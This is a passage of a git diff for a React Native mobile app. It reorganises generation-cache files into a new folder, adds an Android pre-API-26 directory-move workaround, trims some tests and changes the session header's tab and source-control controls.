diff --git a/mobile/src/mobile-web-shell/generation-deferred-commits.ts b/mobile/src/mobile-web-shell/generations/generation-deferred-commits.ts
similarity index 100%
rename from mobile/src/mobile-web-shell/generation-deferred-commits.ts
rename to mobile/src/mobile-web-shell/generations/generation-deferred-commits.ts
diff --git a/mobile/src/mobile-web-shell/generation-file-system-fake.ts b/mobile/src/mobile-web-shell/generations/generation-file-system-fake.ts
similarity index 100%
rename from mobile/src/mobile-web-shell/generation-file-system-fake.ts
rename to mobile/src/mobile-web-shell/generations/generation-file-system-fake.ts
diff --git a/mobile/src/mobile-web-shell/generation-host-directories.ts b/mobile/src/mobile-web-shell/generations/generation-host-directories.ts
similarity index 100%
rename from mobile/src/mobile-web-shell/generation-host-directories.ts
rename to mobile/src/mobile-web-shell/generations/generation-host-directories.ts
diff --git a/mobile/src/mobile-web-shell/generation-host-order.ts b/mobile/src/mobile-web-shell/generations/generation-host-order.ts
similarity index 100%
rename from mobile/src/mobile-web-shell/generation-host-order.ts
rename to mobile/src/mobile-web-shell/generations/generation-host-order.ts
diff --git a/mobile/src/mobile-web-shell/generation-legacy-root.ts b/mobile/src/mobile-web-shell/generations/generation-legacy-root.ts
similarity index 100%
rename from mobile/src/mobile-web-shell/generation-legacy-root.ts
rename to mobile/src/mobile-web-shell/generations/generation-legacy-root.ts
diff --git a/mobile/src/mobile-web-shell/generation-manifest-read.ts b/mobile/src/mobile-web-shell/generations/generation-manifest-read.ts
similarity index 97%
rename from mobile/src/mobile-web-shell/generation-manifest-read.ts
rename to mobile/src/mobile-web-shell/generations/generation-manifest-read.ts
index 71c6ee09e18..22b768876d0 100644
--- a/mobile/src/mobile-web-shell/generation-manifest-read.ts
+++ b/mobile/src/mobile-web-shell/generations/generation-manifest-read.ts
@@ -2,7 +2,7 @@ import {
   MobileWebBundleManifestReadSchema,
   shellDownloadedAssets,
   type MobileWebBundleManifestRead
-} from '../transport/web-bundle/mobile-web-bundle-reply-schemas'
+} from '../../transport/web-bundle/mobile-web-bundle-reply-schemas'
 import { MANIFEST_FILE_NAME } from './generation-asset-path'
 import { joinUri } from './generation-cache-uri'
 import { parseJson } from './generation-host-order'
diff --git a/mobile/src/mobile-web-shell/generation-reuse.ts b/mobile/src/mobile-web-shell/generations/generation-reuse.ts
similarity index 94%
rename from mobile/src/mobile-web-shell/generation-reuse.ts
rename to mobile/src/mobile-web-shell/generations/generation-reuse.ts
index f7eb4b257f2..45ca906afa5 100644
--- a/mobile/src/mobile-web-shell/generation-reuse.ts
+++ b/mobile/src/mobile-web-shell/generations/generation-reuse.ts
@@ -1,5 +1,5 @@
-import type { MobileWebBundleReusableAssets } from '../transport/web-bundle/mobile-web-bundle-fetch'
-import type { MobileWebBundleAssetRead } from '../transport/web-bundle/mobile-web-bundle-reply-schemas'
+import type { MobileWebBundleReusableAssets } from '../../transport/web-bundle/mobile-web-bundle-fetch'
+import type { MobileWebBundleAssetRead } from '../../transport/web-bundle/mobile-web-bundle-reply-schemas'
 import { requireStorablePath } from './generation-asset-path'
 import { joinUri } from './generation-cache-uri'
 import type { ActiveGeneration } from './generation-store'
diff --git a/mobile/src/mobile-web-shell/generation-staging-assets.ts b/mobile/src/mobile-web-shell/generations/generation-staging-assets.ts
similarity index 82%
rename from mobile/src/mobile-web-shell/generation-staging-assets.ts
rename to mobile/src/mobile-web-shell/generations/generation-staging-assets.ts
index cd61866c2b4..d8a083ba353 100644
--- a/mobile/src/mobile-web-shell/generation-staging-assets.ts
+++ b/mobile/src/mobile-web-shell/generations/generation-staging-assets.ts
@@ -1,5 +1,5 @@
-import type { MobileWebBundleFetchResult } from '../transport/web-bundle/mobile-web-bundle-fetch'
-import { shellDownloadedAssets } from '../transport/web-bundle/mobile-web-bundle-reply-schemas'
+import type { MobileWebBundleFetchResult } from '../../transport/web-bundle/mobile-web-bundle-fetch'
+import { shellDownloadedAssets } from '../../transport/web-bundle/mobile-web-bundle-reply-schemas'
 import { requireStorablePath } from './generation-asset-path'
 import { joinUri } from './generation-cache-uri'
 
diff --git a/mobile/src/mobile-web-shell/generation-store-file-system.ts b/mobile/src/mobile-web-shell/generations/generation-store-file-system.ts
similarity index 88%
rename from mobile/src/mobile-web-shell/generation-store-file-system.ts
rename to mobile/src/mobile-web-shell/generations/generation-store-file-system.ts
index 74189aeb408..06aa62f880e 100644
--- a/mobile/src/mobile-web-shell/generation-store-file-system.ts
+++ b/mobile/src/mobile-web-shell/generations/generation-store-file-system.ts
@@ -1,4 +1,5 @@
 import { Directory, File } from 'expo-file-system'
+import { Platform } from 'react-native'
 
 export type GenerationDirectoryEntry = {
   readonly name: string
@@ -127,7 +128,23 @@ export function createExpoGenerationFileSystem(rootUri: string): GenerationFileS
       }
     },
     async moveDirectory(fromUri, toUri) {
-      new Directory(fromUri).move(new Directory(toUri))
+      const from = new Directory(fromUri)
+      // Below API 26, Expo 55's move copies a directory without its contents; its copy is recursive.
+      if (Platform.OS === 'android' && Number(Platform.Version) < 26) {
+        const to = new Directory(toUri)
+        try {
+          from.copy(to)
+        } catch (error) {
+          // Readers trust a generation by its manifest, so a failed copy must leave no partial tree.
+          if (to.exists) {
+            to.delete()
+          }
+          throw error
+        }
+        from.delete()
+        return
+      }
+      from.move(new Directory(toUri))
     },
     async moveFile(fromUri, toUri) {
       new File(fromUri).move(new File(toUri))
diff --git a/mobile/src/mobile-web-shell/generation-store.ts b/mobile/src/mobile-web-shell/generations/generation-store.ts
similarity index 96%
rename from mobile/src/mobile-web-shell/generation-store.ts
rename to mobile/src/mobile-web-shell/generations/generation-store.ts
index 0e78ad2a2d6..c406de60e90 100644
--- a/mobile/src/mobile-web-shell/generation-store.ts
+++ b/mobile/src/mobile-web-shell/generations/generation-store.ts
@@ -1,8 +1,8 @@
-import type { MobileWebBundleManifestRead } from '../transport/web-bundle/mobile-web-bundle-reply-schemas'
+import type { MobileWebBundleManifestRead } from '../../transport/web-bundle/mobile-web-bundle-reply-schemas'
 import type {
   MobileWebBundleFetchResult,
   MobileWebBundleReusableAssets
-} from '../transport/web-bundle/mobile-web-bundle-fetch'
+} from '../../transport/web-bundle/mobile-web-bundle-fetch'
 import { joinUri } from './generation-cache-uri'
 import { createGenerationHostOrder, withHostLast } from './generation-host-order'
 import { createDeferredCommits } from './generation-deferred-commits'
@@ -18,7 +18,7 @@ import {
   listGenerationHostDirectories
 } from './generation-host-directories'
 import { isHostCacheKey } from './host-cache-key'
-import type { MobileWebShellUpdateFailure } from './mobile-web-shell-update-failure'
+import type { MobileWebShellUpdateFailure } from '../mobile-web-shell-update-failure'
 import {
   forgetHostUpdateFailuresIn,
   readUpdateFailureLog,
@@ -216,7 +216,7 @@ export function createGenerationStore(options: {
       manifest: staged.manifest
     }
     const entries = await fs.list(generations)
-    // A build-id directory alone proves nothing: pre-API-26 Android moves can leave it empty. Require its activation manifest before reusing it.
+    // A build-id directory alone proves nothing; require its activation manifest before reusing it.
     const existing = entries.find((entry) => entry.name === staged.buildId)
     if (
       existing?.isDirectory === true &&
@@ -238,7 +238,7 @@ export function createGenerationStore(options: {
     }
     await fs.createDirectory(generations)
     await fs.moveDirectory(staged.directory, target)
-    // Below API 26, Expo Android FileSystemPath.kt moves directories via non-recursive copy/delete and can leave an empty target; failed source deletion leaves tmp for sweeping.
+    // Never activate a target without its manifest; a source left in tmp is swept.
     if (!(await fs.fileExists(joinUri(target, MANIFEST_FILE_NAME)))) {
       await fs.delete(target)
       throw new Error(`generation ${staged.buildId} did not carry its manifest through the rename`)
diff --git a/mobile/src/mobile-web-shell/host-cache-key.ts b/mobile/src/mobile-web-shell/generations/host-cache-key.ts
similarity index 100%
rename from mobile/src/mobile-web-shell/host-cache-key.ts
rename to mobile/src/mobile-web-shell/generations/host-cache-key.ts
diff --git a/mobile/src/mobile-web-shell/mobile-web-shell-update-failure-log.ts b/mobile/src/mobile-web-shell/generations/mobile-web-shell-update-failure-log.ts
similarity index 96%
rename from mobile/src/mobile-web-shell/mobile-web-shell-update-failure-log.ts
rename to mobile/src/mobile-web-shell/generations/mobile-web-shell-update-failure-log.ts
index 8e6bcab8b67..1b53f810efa 100644
--- a/mobile/src/mobile-web-shell/mobile-web-shell-update-failure-log.ts
+++ b/mobile/src/mobile-web-shell/generations/mobile-web-shell-update-failure-log.ts
@@ -1,5 +1,5 @@
 import { z } from 'zod'
-import { MobileWebBundleErrorCodeSchema } from '../../../src/shared/mobile-web-bundle/bundle-rpc-contract'
+import { MobileWebBundleErrorCodeSchema } from '../../../../src/shared/mobile-web-bundle/bundle-rpc-contract'
 import { joinUri } from './generation-cache-uri'
 import type { GenerationFileSystem } from './generation-store-file-system'
 import {
@@ -7,7 +7,7 @@ import {
   MOBILE_WEB_SHELL_UPDATE_FAILURE_REASONS,
   MOBILE_WEB_SHELL_UPDATE_FAILURE_WALLS,
   type MobileWebShellUpdateFailure
-} from './mobile-web-shell-update-failure'
+} from '../mobile-web-shell-update-failure'
 
 // Keep enough history to distinguish one bad download from repeated failures without growing diagnostic storage.
 export const MAX_UPDATE_FAILURES_PER_HOST = 5
diff --git a/mobile/src/mobile-web-shell/process-generation-store.ts b/mobile/src/mobile-web-shell/generations/process-generation-store.ts
similarity index 88%
rename from mobile/src/mobile-web-shell/process-generation-store.ts
rename to mobile/src/mobile-web-shell/generations/process-generation-store.ts
index 144fe4bf4bc..d6c9bcc9391 100644
--- a/mobile/src/mobile-web-shell/process-generation-store.ts
+++ b/mobile/src/mobile-web-shell/generations/process-generation-store.ts
@@ -1,8 +1,8 @@
 import { Directory, Paths } from 'expo-file-system'
-import { generationStoreDirectory } from '../../modules/orca-mobile-web-shell/src/generation-store-directory'
+import { generationStoreDirectory } from '../../../modules/orca-mobile-web-shell/src/generation-store-directory'
 import { createGenerationStore, type GenerationStore } from './generation-store'
 import { createExpoGenerationFileSystem } from './generation-store-file-system'
-import { dropHomeSparePage } from './home-spare-page'
+import { dropHomeSparePage } from '../home-spare-page'
 
 const GENERATION_STORE_DIRECTORY_NAME = 'mobile-web'
 
diff --git a/mobile/src/mobile-web-shell/removed-host-shell-cache.ts b/mobile/src/mobile-web-shell/generations/removed-host-shell-cache.ts
similarity index 100%
rename from mobile/src/mobile-web-shell/removed-host-shell-cache.ts
rename to mobile/src/mobile-web-shell/generations/removed-host-shell-cache.ts
diff --git a/mobile/src/mobile-web-shell/home-spare-page.ts b/mobile/src/mobile-web-shell/home-spare-page.ts
index bf93ad3d371..8124dfa1cd4 100644
--- a/mobile/src/mobile-web-shell/home-spare-page.ts
+++ b/mobile/src/mobile-web-shell/home-spare-page.ts
@@ -3,9 +3,9 @@ import {
   discardSpareDocument,
   prepareSpareDocument
 } from '../../modules/orca-mobile-web-shell/src/spare-document'
-import type { GenerationStore } from './generation-store'
-import { generationDirectoryPath } from './generation-store-file-system'
-import { deriveHostCacheKey } from './host-cache-key'
+import type { GenerationStore } from './generations/generation-store'
+import { generationDirectoryPath } from './generations/generation-store-file-system'
+import { deriveHostCacheKey } from './generations/host-cache-key'
 import { mintShellSessionId } from './shell-session-id'
 
 // A Home entry claims the spare about 0.2 s after the tap on a simulator; a native screen keeps it no longer.
diff --git a/mobile/src/mobile-web-shell/mobile-web-shell-runtime.ts b/mobile/src/mobile-web-shell/mobile-web-shell-runtime.ts
index 44e53bfd614..13dcb5edd6e 100644
--- a/mobile/src/mobile-web-shell/mobile-web-shell-runtime.ts
+++ b/mobile/src/mobile-web-shell/mobile-web-shell-runtime.ts
@@ -1,6 +1,6 @@
 import { BRIDGE_READY_RETRY_MAX_MS } from './bridge/bridge-client-init-handshake'
-import type { GenerationStore } from './generation-store'
-import { processGenerationStore } from './process-generation-store'
+import type { GenerationStore } from './generations/generation-store'
+import { processGenerationStore } from './generations/process-generation-store'
 import { setForegroundTimer } from './foreground-timer'
 import { claimHomeSparePage } from './home-spare-page'
 import { mintShellSessionId } from './shell-session-id'
diff --git a/mobile/src/mobile-web-shell/mobile-web-shell-session-effects.test.ts b/mobile/src/mobile-web-shell/mobile-web-shell-session-effects.test.ts
index b023ae70955..b829980919f 100644
--- a/mobile/src/mobile-web-shell/mobile-web-shell-session-effects.test.ts
+++ b/mobile/src/mobile-web-shell/mobile-web-shell-session-effects.test.ts
@@ -7,6 +7,7 @@ const doubles = vi.hoisted(() => ({
 }))
 
 vi.mock('expo-file-system', () => ({ Directory: class {}, File: class {}, Paths: { cache: '' } }))
+vi.mock('react-native', () => ({ Platform: { OS: 'ios' } }))
 // The runner's deadlines live in the runtime module, whose foreground timer reads React Native's AppState.
 vi.mock('./foreground-timer', () => ({ setForegroundTimer: () => () => {} }))
 vi.mock('../transport/rpc/rpc-operation', () => ({
@@ -20,9 +21,9 @@ vi.mock('../transport/web-bundle/mobile-web-bundle-fetch', () => ({
 import type { RpcClient } from '../transport/rpc/rpc-client-contract'
 import { computeMobileWebBundleId } from '../../../src/shared/mobile-web-bundle/manifest-contract'
 import type { MobileWebBundleFetchResult } from '../transport/web-bundle/mobile-web-bundle-fetch'
-import { createGenerationStore, type GenerationStore } from './generation-store'
-import { createFakeGenerationFileSystem } from './generation-file-system-fake'
-import { deriveHostCacheKey } from './host-cache-key'
+import { createGenerationStore, type GenerationStore } from './generations/generation-store'
+import { createFakeGenerationFileSystem } from './generations/generation-file-system-fake'
+import { deriveHostCacheKey } from './generations/host-cache-key'
 import { download } from './mobile-web-shell-session-effects'
 
 const CLIENT: RpcClient = {
@@ -114,64 +115,6 @@ describe('a download that reuses the cached generation', () => {
     return done.then(() => events)
   }
 
-  it('writes no staging bytes when canceled while its staging waits in the store queue', async () => {
-    const fileSystem = createFakeGenerationFileSystem()
-    const store = createGenerationStore({ fileSystem })
-    const NEXT = bundle(16)
-    const BLOCKER = deriveHostCacheKey('host-b')
-    let enterBlocker = (): void => {}
-    const blockerEntered = new Promise<void>((resolve) => {
-      enterBlocker = resolve
-    })
-    let releaseBlocker = (): void => {}
-    const blockerReleased = new Promise<void>((resolve) => {
-      releaseBlocker = resolve
-    })
-    const list = fileSystem.list.bind(fileSystem)
-    fileSystem.list = async (uri) => {
-      if (uri.includes(`/${BLOCKER}/`)) {
-        enterBlocker()
-        await blockerReleased
-      }
-      return list(uri)
-    }
-    const writes: string[] = []
-    const writeBytes = fileSystem.writeBytes.bind(fileSystem)
-    fileSystem.writeBytes = async (uri, bytes) => {
-      writes.push(uri)
-      await writeBytes(uri, bytes)
-    }
-    let blocker: Promise<unknown> = Promise.resolve()
-    doubles.fetch = async () => {
-      blocker = store.readActiveGeneration(BLOCKER)
-      await blockerEntered
-      return NEXT
-    }
-    let markQueued = (): void => {}
-    const stageQueued = new Promise<void>((resolve) => {
-      markQueued = resolve
-    })
-    const downloads = new Set<AbortController>()
-    const run = runFor(
-      {
-        ...store,
-        stageGeneration: (...args) => {
-          const staged = store.stageGeneration(...args)
-          markQueued()
-          return staged
-        }
-      },
-      downloads
-    )
-
-    await stageQueued
-    downloads.forEach((controller) => controller.abort())
-    releaseBlocker()
-    await Promise.all([run, blocker])
-
-    expect(writes.filter((uri) => uri.includes(`/tmp/${NEXT.manifest.buildId}/`))).toEqual([])
-  })
-
   it('stages from the offered snapshot without reopening its manifest after fetch', async () => {
     const { fileSystem, store } = await cachedStore()
     doubles.fetch = async () => {
diff --git a/mobile/src/mobile-web-shell/mobile-web-shell-session-effects.ts b/mobile/src/mobile-web-shell/mobile-web-shell-session-effects.ts
index a8d939a15d7..257e9af5ad1 100644
--- a/mobile/src/mobile-web-shell/mobile-web-shell-session-effects.ts
+++ b/mobile/src/mobile-web-shell/mobile-web-shell-session-effects.ts
@@ -9,14 +9,14 @@ import {
 import type { MobileWebBundleCompatManifest } from '../transport/web-bundle/mobile-web-bundle-compat'
 import { runRpcOperation } from '../transport/rpc/rpc-operation'
 import type { RpcClient } from '../transport/rpc/rpc-client-contract'
-import type { GenerationStore, StagedGeneration } from './generation-store'
+import type { GenerationStore, StagedGeneration } from './generations/generation-store'
 import type { createShellPageDeadline } from './shell-page-deadline'
 import {
   DOCUMENT_LOAD_DEADLINE_MS,
   PAGE_READY_DEADLINE_MS,
   type MobileWebShellRuntime
 } from './mobile-web-shell-runtime'
-import { generationDirectoryPath } from './generation-store-file-system'
+import { generationDirectoryPath } from './generations/generation-store-file-system'
 import type {
   CachedGeneration,
   MobileWebShellSessionEffect,
diff --git a/mobile/src/mobile-web-shell/mobile-web-shell-update-failure-log.test.ts b/mobile/src/mobile-web-shell/mobile-web-shell-update-failure-log.test.ts
deleted file mode 100644
index cd783473a9d..00000000000
--- a/mobile/src/mobile-web-shell/mobile-web-shell-update-failure-log.test.ts
+++ /dev/null
@@ -1,103 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { computeMobileWebBundleId } from '../../../src/shared/mobile-web-bundle/manifest-contract'
-import type { MobileWebBundleFetchResult } from '../transport/web-bundle/mobile-web-bundle-fetch'
-import { createFakeGenerationFileSystem } from './generation-file-system-fake'
-import { createGenerationStore } from './generation-store'
-import { deriveHostCacheKey } from './host-cache-key'
-import type { MobileWebShellUpdateFailure } from './mobile-web-shell-update-failure'
-import { appendUpdateFailure } from './mobile-web-shell-update-failure-log'
-
-const LOG = 'update-failures.json'
-
-function failure(hostId: string, at: number): MobileWebShellUpdateFailure {
-  return {
-    hostId,
-    at,
-    reason: 'asset-checksum-mismatch',
-    hostCode: null,
-    offeredBuildId: 'c'.repeat(64),
-    cachedBuildId: 'b'.repeat(64),
-    outcome: 'opened-cached',
-    wall: null
-  }
-}
-
-describe('appendUpdateFailure', () => {
-  it('drops a build id that is not a digest rather than keep host text', () => {
-    const [entry] = appendUpdateFailure([], {
-      ...failure('host-1', 0),
-      offeredBuildId: 'https://host/?token=SECRET'
-    })
-    expect(entry?.offeredBuildId).toBeNull()
-  })
-})
-
-describe('the generation store keeps the log', () => {
-  it('writes, reads back and survives a relaunch', async () => {
-    const fileSystem = createFakeGenerationFileSystem()
-    await createGenerationStore({ fileSystem }).recordUpdateFailure(failure('host-1', 5))
-    expect(await createGenerationStore({ fileSystem }).readUpdateFailures()).toEqual([
-      failure('host-1', 5)
-    ])
-  })
-
-  it("forgets one host's records and leaves the others", async () => {
-    const fileSystem = createFakeGenerationFileSystem()
-    const store = createGenerationStore({ fileSystem })
-    await store.recordUpdateFailure(failure('host-1', 1))
-    await store.recordUpdateFailure(failure('host-2', 2))
-    await store.forgetHostUpdateFailures('host-1')
-    expect((await store.readUpdateFailures()).map((entry) => entry.hostId)).toEqual(['host-2'])
-    await store.forgetHostUpdateFailures('host-2')
-    expect(fileSystem.text(LOG)).toBeNull()
-  })
-
-  it("outlives the host's own cache, which a recovery deletes", async () => {
-    const fileSystem = createFakeGenerationFileSystem()
-    const store = createGenerationStore({ fileSystem })
-    const host = deriveHostCacheKey('host-1')
-    const assets = [
-      { path: 'index.html', sha256: '1'.repeat(64), byteLength: 1, contentType: 'text/html' }
-    ]
-    const buildId = computeMobileWebBundleId(assets)
-    const bundle: MobileWebBundleFetchResult = {
-      manifest: {
-        schemaVersion: 1,
-        buildId,
-        minCompatibleRuntimeProtocolVersion: 2,
-        runtimeProtocolVersion: 2,
-        entrypoint: 'index.html',
-        totalBytes: 1,
-        assets
-      },
-      assets: new Map([['index.html', new Uint8Array(1)]]),
-      reused: [],
-      totalBytes: 1,
-      elapsedMs: 1
-    }
-    await store.commitGeneration(await store.stageGeneration(host, bundle))
-    expect((await store.readActiveGeneration(host))?.buildId).toBe(buildId)
-    expect(fileSystem.paths()).toContain(`${host}/generations/${buildId}/manifest.json`)
-    expect(fileSystem.bytes(`${host}/generations/${buildId}/index.html`)).toEqual(new Uint8Array(1))
-    const recorded = failure('host-1', 1)
-    await store.recordUpdateFailure(recorded)
-    await store.deleteHostCache(host)
-    expect(fileSystem.paths().some((path) => path === host || path.startsWith(`${host}/`))).toBe(
-      false
-    )
-    expect(await store.readActiveGeneration(host)).toBeNull()
-    expect(await store.readUpdateFailures()).toEqual([recorded])
-  })
-
-  it('reads a corrupt log as empty and keeps the entries that still parse', async () => {
-    const fileSystem = createFakeGenerationFileSystem()
-    const store = createGenerationStore({ fileSystem })
-    await fileSystem.writeText(`${fileSystem.rootUri}/${LOG}`, '{not json')
-    expect(await store.readUpdateFailures()).toEqual([])
-    await fileSystem.writeText(
-      `${fileSystem.rootUri}/${LOG}`,
-      JSON.stringify([failure('host-1', 1), { ...failure('host-1', 2), url: 'wss://x/?t=1' }])
-    )
-    expect(await store.readUpdateFailures()).toEqual([failure('host-1', 1)])
-  })
-})
diff --git a/mobile/src/mobile-web-shell/use-mobile-web-shell-session.test.ts b/mobile/src/mobile-web-shell/use-mobile-web-shell-session.test.ts
index c5b70b1822f..1ff5d92c198 100644
--- a/mobile/src/mobile-web-shell/use-mobile-web-shell-session.test.ts
+++ b/mobile/src/mobile-web-shell/use-mobile-web-shell-session.test.ts
@@ -7,7 +7,11 @@ import type {
   MobileWebBundleFetchResult
 } from '../transport/web-bundle/mobile-web-bundle-fetch'
 import type { MobileWebBundleManifestRead } from '../transport/web-bundle/mobile-web-bundle-reply-schemas'
-import type { ActiveGeneration, GenerationStore, StagedGeneration } from './generation-store'
+import type {
+  ActiveGeneration,
+  GenerationStore,
+  StagedGeneration
+} from './generations/generation-store'
 import type { DownloadProgressFeed } from './download-progress-feed'
 import type { MobileWebShellSessionState } from './mobile-web-shell-session-contract'
 import '../transport/rpc/rpc-delivery-ambiguity'
@@ -205,7 +209,6 @@ function createFakeStore(): {
   }
 }
 
-// Use recorded timers so deadline tests assert requested delays without wall-clock waits.
 type ArmedTimer = { delayMs: number; run: () => void; cancelled: boolean }
 
 function createTimerSeam() {
@@ -347,7 +350,6 @@ async function flush(): Promise<void> {
   await act(async () => undefined)
 }
 
-// Entry import failures can finish WebView load without mounting a boundary or sending ready; the deadline must recover that silent blank page.
 describe('the wait for the page to speak', () => {
   beforeEach(() => {
     doubles.manifestReads = 0
@@ -358,24 +360,6 @@ describe('the wait for the page to speak', () => {
     doubles.gates.hostCapabilities = [MOBILE_WEB_BUNDLE_CAPABILITY]
   })
 
-  async function ready(fake = createFakeStore()): Promise<Mounted> {
-    const mounted = await mount(fake.store)
-    fake.settleCacheRead(activeGeneration())
-    await flush()
-    expect(mounted.states().at(-1)?.kind).toBe('ready')
-    return mounted
-  }
-
-  // A remount mints the replacement's session before React commits it; reports the retired view already queued must not land on it.
-  it('does not charge a second fault from the retired view to its replacement', async () => {
-    const mounted = await ready()
-    await act(async () => {
-      mounted.shellFailed('document-load-failed')
-      mounted.shellFailed('document-load-failed')
-    })
-    expect(mounted.states().at(-1)?.kind).toBe('ready')
-  })
-
   it('opens a page Home booted under its session id, and remounts under a fresh one', async () => {
     const fake = createFakeStore()
     const mounted = await mount(fake.store, undefined, async () => 'home-spare')
@@ -389,21 +373,6 @@ describe('the wait for the page to speak', () => {
     expect(mounted.states().at(-1)).toMatchObject({ kind: 'ready', sessionId: 'session-1' })
   })
 
-  it('stays ready when the page speaks after document load and the timers fire', async () => {
-    const mounted = await ready()
-    await act(async () => {
-      mounted.documentLoaded()
-      mounted.pageReady()
-    })
-    await act(async () => {
-      mounted.timers.fire()
-    })
-    expect(mounted.states().at(-1)?.kind).toBe('ready')
-    await act(async () => {
-      mounted.tree.unmount()
-    })
-  })
-
   it('re-arms a session the route rebuilt, with the host and its gates unchanged', async () => {
     // A route change rebuilds the session too; re-arm gates even if their verdict did not change.
     const fake = createFakeStore()
@@ -454,5 +423,3 @@ describe('the wait for the page to speak', () => {
     })
   })
 })
-
-// RN holds timers while backgrounded and fires overdue ones on resume, before the suspended WebView has loaded anything.
diff --git a/mobile/src/mobile-web-shell/use-mobile-web-shell-session.ts b/mobile/src/mobile-web-shell/use-mobile-web-shell-session.ts
index ab448fb5e17..9c85c0aa08c 100644
--- a/mobile/src/mobile-web-shell/use-mobile-web-shell-session.ts
+++ b/mobile/src/mobile-web-shell/use-mobile-web-shell-session.ts
@@ -6,8 +6,8 @@ import {
   downloadFraction,
   type DownloadProgressFeed
 } from './download-progress-feed'
-import type { GenerationStore } from './generation-store'
-import { deriveHostCacheKey } from './host-cache-key'
+import type { GenerationStore } from './generations/generation-store'
+import { deriveHostCacheKey } from './generations/host-cache-key'
 import { runShellEffect, type FlowManifest } from './mobile-web-shell-session-effects'
 import { documentMayTalk } from './mobile-web-shell-gates'
 import { readMobileWebShellReachability } from './mobile-web-shell-reachability'
diff --git a/mobile/src/session/MobileSessionHeader.tsx b/mobile/src/session/MobileSessionHeader.tsx
index 9020e7d7486..d1f108b6851 100644
--- a/mobile/src/session/MobileSessionHeader.tsx
+++ b/mobile/src/session/MobileSessionHeader.tsx
@@ -1,12 +1,13 @@
 import { useRef, useState, useSyncExternalStore } from 'react'
 import { StyleSheet, View } from 'react-native'
 import { SafeAreaView } from 'react-native-safe-area-context'
-import { ChevronLeft, GitBranch, MoreHorizontal, PanelLeftOpen } from 'lucide-react-native'
+import { ChevronLeft, MoreHorizontal, PanelLeftOpen } from 'lucide-react-native'
 import { NavBar, NavBarRefreshLine } from '../components/nav-bar/NavBar'
 import { useRefreshHint } from '../query/refresh-hint'
 import { NavBarButton } from '../components/nav-bar/NavBarButton'
 import { MobileSessionHeaderMoreMenu } from './MobileSessionHeaderMoreMenu'
-import { MobileSessionTabBar } from './tabs/MobileSessionTabBar'
+import { MobileSourceControlButton } from './MobileSourceControlButton'
+import { MobileSessionTabStrip } from './tabs/MobileSessionTabStrip'
 import { MobileSessionTitleBlock } from './MobileSessionTitleBlock'
 import type { SessionTitleCard } from './tabs/use-session-title-card'
 import { styles } from './mobile-session-styles'
@@ -30,6 +31,7 @@ export function MobileSessionHeader({
   const t = useMobileTranslation()
   const {
     hostId,
+    worktreeId,
     isFloatingWorkspaceRoute,
     presentedConnState,
     forceReconnectHost,
@@ -58,11 +60,11 @@ export function MobileSessionHeader({
   // Why: a sideways phone is ~390pt tall, so the tabs share the top bar instead of taking a second row.
   const hasTabs = visibleTabs.length > 0
   const tabsInTopBar = (layout.isLandscapePhone || sideRail) && hasTabs
-  // Bar buttons otherwise leave the tab bar too narrow to read on a narrow header.
+  // Bar buttons otherwise leave less than two readable tabs on a narrow header.
   const actionsCollapsed = tabsInTopBar && (headerWidth ?? layout.width) < 600
   const sourceControlInBar = !isFloatingWorkspaceRoute && !actionsCollapsed
   const tabStrip = hasTabs ? (
-    <MobileSessionTabBar
+    <MobileSessionTabStrip
       controller={controller}
       inTopBar={tabsInTopBar}
       actionsCollapsed={actionsCollapsed}
@@ -108,10 +110,10 @@ export function MobileSessionHeader({
   const trailing = (
     <>
       {sourceControlInBar ? (
-        <NavBarButton
+        <MobileSourceControlButton
+          hostId={hostId}
+          worktreeId={worktreeId}
           active={activePanel === 'sourceControl'}
-          accessibilityLabel={t('session.header.openSourceControl', 'Open source control')}
-          icon={GitBranch}
           onPress={() => handlePanelTap('sourceControl')}
         />
       ) : null}
diff --git a/mobile/src/session/MobileSessionSheets.tsx b/mobile/src/session/MobileSessionSheets.tsx
index 7cf3bf558db..fe6f590a3d2 100644
--- a/mobile/src/session/MobileSessionSheets.tsx
+++ b/mobile/src/session/MobileSessionSheets.tsx
@@ -2,7 +2,7 @@ import { Platform } from 'react-native'
 import { useMobileTranslation } from '../i18n/use-mobile-translation'
 import { getRepoIdFromWorktreeId } from '../../../src/shared/worktree/id'
 import { useClipboardWriter } from '../platform/clipboard'
-import { Copy, FileText, RefreshCw } from 'lucide-react-native'
+import { Copy, FileText, Globe, RefreshCw, SquareTerminal } from 'lucide-react-native'
 import { MobileSessionTerminalLayoutSheet } from '../terminal/session/MobileSessionTerminalLayoutSheet'
 import { QuickCommandsSheet } from '../terminal/quick-commands/QuickCommandsSheet'
 import { triggerSuccess, triggerError } from '../platform/haptics'
@@ -19,7 +19,6 @@ import { isTerminalPhoneDisplayMode } from '../terminal/session/terminal-phone-d
 import type { MobileSessionController } from './use-mobile-session-controller'
 import { useMobileAllowAutoCloseActions } from './tabs/mobile-worker-auto-close'
 import { MobileAgentSessionTabActionSheet } from './tabs/MobileAgentSessionTabActionSheet'
-import { MobileNewTabSheet } from './tabs/MobileNewTabSheet'
 
 export function MobileSessionSheets({ controller }: { controller: MobileSessionController }) {
   const t = useMobileTranslation()
@@ -91,8 +90,7 @@ export function MobileSessionSheets({ controller }: { controller: MobileSessionC
     bulkCloseActions,
     bulkCloseConfirm,
     closeWithBulkActions,
-    createTabAgentStatusRow,
-    createTabAgentOptions,
+    createTabAgentActions,
     sendDiffNotesAgentActions
   } = controller
   const clipboard = useClipboardWriter()
@@ -117,33 +115,61 @@ export function MobileSessionSheets({ controller }: { controller: MobileSessionC
         agentPromptMaxLength={controller.quickCommandAgentPromptMaxLength}
         onLaunch={launchQuickCommand}
       />
-      <MobileNewTabSheet
+      <ActionSheetModal
         visible={showCreateTabDrawer}
-        workspaceName={worktreeName}
-        agentOptions={createTabAgentOptions}
-        agentStatusRow={createTabAgentStatusRow}
-        // Why: browser/markdown creation resolve a real worktree on the host
-        // (browser.tabCreate, files.createFile); the floating sentinel is
-        // terminal-only over RPC, so those options hide there.
-        canCreateBrowser={!isFloatingWorkspaceRoute}
-        canCreateMarkdownNote={!isFloatingWorkspaceRoute && onPairedHost}
+        title={t('session.sheets.newTab', 'New Tab')}
+        actions={[
+          ...createTabAgentActions,
+          {
+            id: 'terminal',
+            label: t('session.sheets.terminal', 'Terminal'),
+            icon: SquareTerminal,
+            onPress: () => {
+              setShowCreateTabDrawer(false)
+              void handleCreateTerminal()
+            }
+          },
+          // Why: browser/markdown creation resolve a real worktree on the host
+          // (browser.tabCreate, files.createFile); the floating sentinel is
+          // terminal-only over RPC, so those options hide there.
+          ...(isFloatingWorkspaceRoute
+            ? []
+            : [
+                {
+                  id: 'browser',
